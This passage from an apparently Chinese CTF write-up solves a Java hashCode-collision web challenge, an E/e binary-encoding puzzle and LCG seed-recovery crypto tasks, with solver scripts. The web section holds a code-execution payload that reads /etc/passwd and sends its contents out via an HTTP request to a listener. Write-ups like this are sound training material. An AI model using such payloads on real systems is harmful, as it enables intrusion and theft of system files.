Stringsecret="guanzhujiarandundunjiechan"; inthash= secret.hashCode(); Stringdic="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"; for (char i : dic.toCharArray()) { for (char j : dic.toCharArray()) { Stringtmp="" + i + j + secret.substring(2); if (tmp.hashCode() == hash) { System.out.println(tmp); } } } } }
没网,不知道为啥反射不了,打的代码执行,读文件然后请求回带。
1 2 3
POST /exp
{"x":"i7anzhujiarandundunjiechan","cmd":"java.util.Scanner scanner = new java.util.Scanner(new java.io.File(\"/etc/passwd\"));scanner.nextLine();java.net.URL url = new java.net.URL(\"http://127.0.0.1:2333/\");java.net.HttpURLConnection httpURLConnection =(java.net.HttpURLConnection) url.openConnection();httpURLConnection.setRequestProperty(\"Content-Type\", scanner.nextLine());httpURLConnection.getInputStream();"}
Misc
misc_奇怪的E
零宽编码解密得到压缩包密码Cetacean。
发现文本里只有E和e,而且是8的倍数,尝试转换为0和1,然后转字符串。
1 2 3 4 5 6 7 8 9 10 11
from Crypto.Util.number import long_to_bytes
original = "EEEEEEEEEeeEEeeEEEEEEEEEEeeEeeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEEeeeEEEEEEEEEeeeeEeeEEEEEEEEEeEEEEeeEEEEEEEEEeeEEeEeEEEEEEEEEeeeEeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEEEeeEEEEEEEEEEeeEeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEeeeEEEEEEEEEEeEeeeeeEEEEEEEEEeEEEEeeEEEEEEEEEEeeEEEeEEEEEEEEEeeeEEEEEEEEEEEEEeeEeEEEEEEEEEEEEeeEEeEeEEEEEEEEEeeeEEeEEEEEEEEEEeEeeeeeEEEEEEEEEEeeEEEeEEEEEEEEEeeeEEeeEEEEEEEEEeEeeeeeEEEEEEEEEeeEEEEeEEEEEEEEEeEeeeeeEEEEEEEEEeeEEeeeEEEEEEEEEEeeEEEEEEEEEEEEEeeEeeeeEEEEEEEEEeeEEeEEEEEEEEEEEeEeeeeeEEEEEEEEEeeEEeEeEEEEEEEEEeEEeeeEEEEEEEEEEeeEEEeeEEEEEEEEEEeeEEEEEEEEEEEEEeeEEeEEEEEEEEEEEeeEEeEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEeeeeeEe" res = "" for i in original: if i == 'E': res += '0' if i == 'e': res += '1' print(long_to_bytes(int("0b" + res, 2)).decode().replace("\x00", "")) # flag{Cetac4an_C1pher_1s_a_g0od_eNc0de!!!!}
import os import hashlib from string import ascii_letters from Crypto.Util.number import * from Crypto.Random.random import randrange, getrandbits, choice
readstruct() for i inrange(50): challenge1() for i inrange(30): challenge2() for i inrange(20): challenge3() challenge4()
readflag()
challenge1
给定\(a, b, N, num1\)。
由于\(b<N\),所以\(num1= a * seed % N + b mod N\)。
逆一下得到\(seed = (num1 - b) * invert(a, N) % N\)。
1 2 3 4 5 6 7 8
from gmpy2 import invert
a = 21439995148715855229581313939963482421201576331247112965113607451853558218636 b = 89759277160476389253551333634559768530087358279888366217118321151632851069307 N = 94263478176301823003864419448505855238729828567096091430628632016028605616699 num1 = 93437456039578930967563044293380038273869610383390068845902343882495695897529 seed = (num1 - b) * invert(a, N) % N print(seed)
challenge2
给定\(a, N, num1, num2\),可以把\(b\)消除然后求逆。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
from gmpy2 import invert
a = 16706977725145456108673810243466500040943912361324878692827034267351992747974 N = 113854020832618498739784394611075999932916312378403736582581526579101900578203 num1 = 63330820190126996484305779686457877475288865566311745562987677512497606130845 num2 = 84119406639888798757299912342423831065813108934246920044829949373419237576843 # a*seed%N # num1 = a * seed % N + b mod N # num2 = a * num1 % N + b mod N # # (num1 - b) = a * seed mod N # (num2 - b) = a * num1 mod N # # num2 - num1 = a * (num1 - seed) mod N seed = (num1 - (num2 - num1) * invert(a, N)) % N print(seed)
challenge3
给定\(N, num1, num2, num3\),可以先求出\(a\),然后计算。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from gmpy2 import invert
N = 75077128282729911345908688147049908784831830731419100581244930247044506196477 num1 = 65940473528726946477803054867754232378739884960304521637067282030349621449921 num2 = 27044754132512365884748896937170627667054459331766150743556228598626640534200 num3 = 60958613597574702621084920297199479965887036967057208603596448710717503362927 # num1 = a * seed % N + b mod N # num2 = a * num1 % N + b mod N # num3 = a * num2 % N + b mod N
# num1 - b = a * seed mod N # num2 - b = a * num1 mod N # num3 - b = a * num2 mod N # num2 - num1 = a * (num1 - seed) mod N # num3 - num2 = a * (num2 - num1) mod N a = (num3 - num2) * invert(num2 - num1, N) % N seed = (num1 - (num2 - num1) * invert(a, N)) % N print(seed)
challenge4
给了\(num1-6\),没给出\(n\),推导发现可以可以得到\(t5 * t5 - t6* t4 = (a*a*t4*t4 - a*a*t4*t4) mod N = 0 mod N\)。
# state = a * seed % N + b mod N from gmpy2 import invert, gcd
# a=21439995148715855229581313939963482421201576331247112965113607451853558218636 # b=89759277160476389253551333634559768530087358279888366217118321151632851069307 # N=94263478176301823003864419448505855238729828567096091430628632016028605616699 # num1=93437456039578930967563044293380038273869610383390068845902343882495695897529 # seed = (num1 - b) * invert(a, N) % N # print(seed) # print(str(seed).encode()) # # # a=16706977725145456108673810243466500040943912361324878692827034267351992747974 # N=113854020832618498739784394611075999932916312378403736582581526579101900578203 # num1=63330820190126996484305779686457877475288865566311745562987677512497606130845 # num2=84119406639888798757299912342423831065813108934246920044829949373419237576843 # num1 = a * seed % N + b mod N # num2 = a * num1 % N + b mod N
# (num1 - b) = a * seed mod N # (num2 - b) = a * num1 mod N
# num2 - num1 = a * (num1 - seed) mod N # seed = (num1 - (num2-num1) * invert(a, N)) % N # print(seed)
# N=75077128282729911345908688147049908784831830731419100581244930247044506196477 # num1=65940473528726946477803054867754232378739884960304521637067282030349621449921 # num2=27044754132512365884748896937170627667054459331766150743556228598626640534200 # num3=60958613597574702621084920297199479965887036967057208603596448710717503362927 # num1 = a * seed % N + b mod N # num2 = a * num1 % N + b mod N # num3 = a * num2 % N + b mod N
# num1 - b = a * seed mod N # num2 - b = a * num1 mod N # num3 - b = a * num2 mod N # num2 - num1 = a * (num1 - seed) mod N # num3 - num2 = a * (num2 - num1) mod N # a = (num3 - num2) * invert(num2 - num1, N) % N # seed = (num1 - (num2 - num1) * invert(a, N)) % N # print(seed)
num1 = 18130822956452391991955329698533874329587224661240216580076844046347888170896 num2 = 40689348136688527650286917072116617946360334296435621222913550590709120711790 num3 = 9024218577699321126393149839649183482718782671341152454962950979591052427336 num4 = 50380931324746679713270700564952245173255615647824411192603253345164761384621 num5 = 12990849833536354231958759537534231189033734453933764867420622046266758809753 num6 = 3319681046644313401014467521203728557012218039251416119690694719681592633926# num1 = a * seed % N + b mod N # num2 = a * num1 % N + b mod N # num3 = a * num2 % N + b mod N # num4 = a * num3 % N + b mod N # num5 = a * num4 % N + b mod N # num6 = a * num5 % N + b mod N
# num1 - b = a * seed mod N # num2 - b = a * num1 mod N # num3 - b = a * num2 mod N # num4 - b = a * num3 mod N # num5 - b = a * num4 mod N # num6 - b = a * num5 mod N
# num6 - num5 = a * (num5 - num4) mod N # num5 - num4 = a * (num4 - num3) mod N # num4 - num3 = a * (num3 - num2) mod N # num3 - num2 = a * (num2 - num1) mod N # num2 - num1 = a * (num1 - seed) mod N
# t6 = a * t5 mod N # t5 = a * t4 mod N # t4 = a * t3 mod N # t3 = a * t2 mod N # t2 = a * t1 mod N
# t6 * t4 = a * a * t5 * t3 mod N # t5 * t5 = a * a * t4 * t4 mod N
# t5 * t5 - t6* t4 = (a*a*t4*t4 - a*a*t4*t4) mod N = 0 mod N t6 = num6 - num5 t5 = num5 - num4 t4 = num4 - num3 t3 = num3 - num2 t2 = num2 - num1 g1 = gcd(t6 * t4 - t5 * t5, t5 * t3 - t4 * t4) g2 = gcd(t5 * t3 - t4 * t4, t4 * t2 - t3 * t3) print(g1, g2) print(gcd(g1, g2)) N = g2 a = (num3 - num2) * invert(num2 - num1, N) % N seed = (num1 - (num2 - num1) * invert(a, N)) % N print(seed)
from pwn import *
defpwn(): context.log_level = "debug" io = remote("192.168.1.105", 19999) for i inrange(50): io.recvuntil(b"This is the challenge1,you need solve 50 times\n") io.recvuntil(b"a=") a = int(io.recvline().strip().decode()) io.recvuntil(b"b=") b = int(io.recvline().strip().decode()) io.recvuntil(b"N=") N = int(io.recvline().strip().decode()) io.recvuntil(b"num1=") num1 = int(io.recvline().strip().decode()) io.recvuntil(b"seed = ") seed = (num1 - b) * invert(a, N) % N io.sendline(str(seed).encode())
for i inrange(30): io.recvuntil(b"This is the challenge2,you need solve 30 times\n") io.recvuntil(b"a=") a = int(io.recvline().strip().decode()) io.recvuntil(b"N=") N = int(io.recvline().strip().decode()) io.recvuntil(b"num1=") num1 = int(io.recvline().strip().decode()) io.recvuntil(b"num2=") num2 = int(io.recvline().strip().decode()) io.recvuntil(b"seed = ") seed = (num1 - (num2 - num1) * invert(a, N)) % N io.sendline(str(seed).encode())
for i inrange(20): io.recvuntil(b"This is the challenge3,you need solve 20 times\n") io.recvuntil(b"N=") N = int(io.recvline().strip().decode()) io.recvuntil(b"num1=") num1 = int(io.recvline().strip().decode()) io.recvuntil(b"num2=") num2 = int(io.recvline().strip().decode()) io.recvuntil(b"num3=") num3 = int(io.recvline().strip().decode()) io.recvuntil(b"seed = ") a = (num3 - num2) * invert(num2 - num1, N) % N seed = (num1 - (num2 - num1) * invert(a, N)) % N io.sendline(str(seed).encode()) io.interactive() # pwn()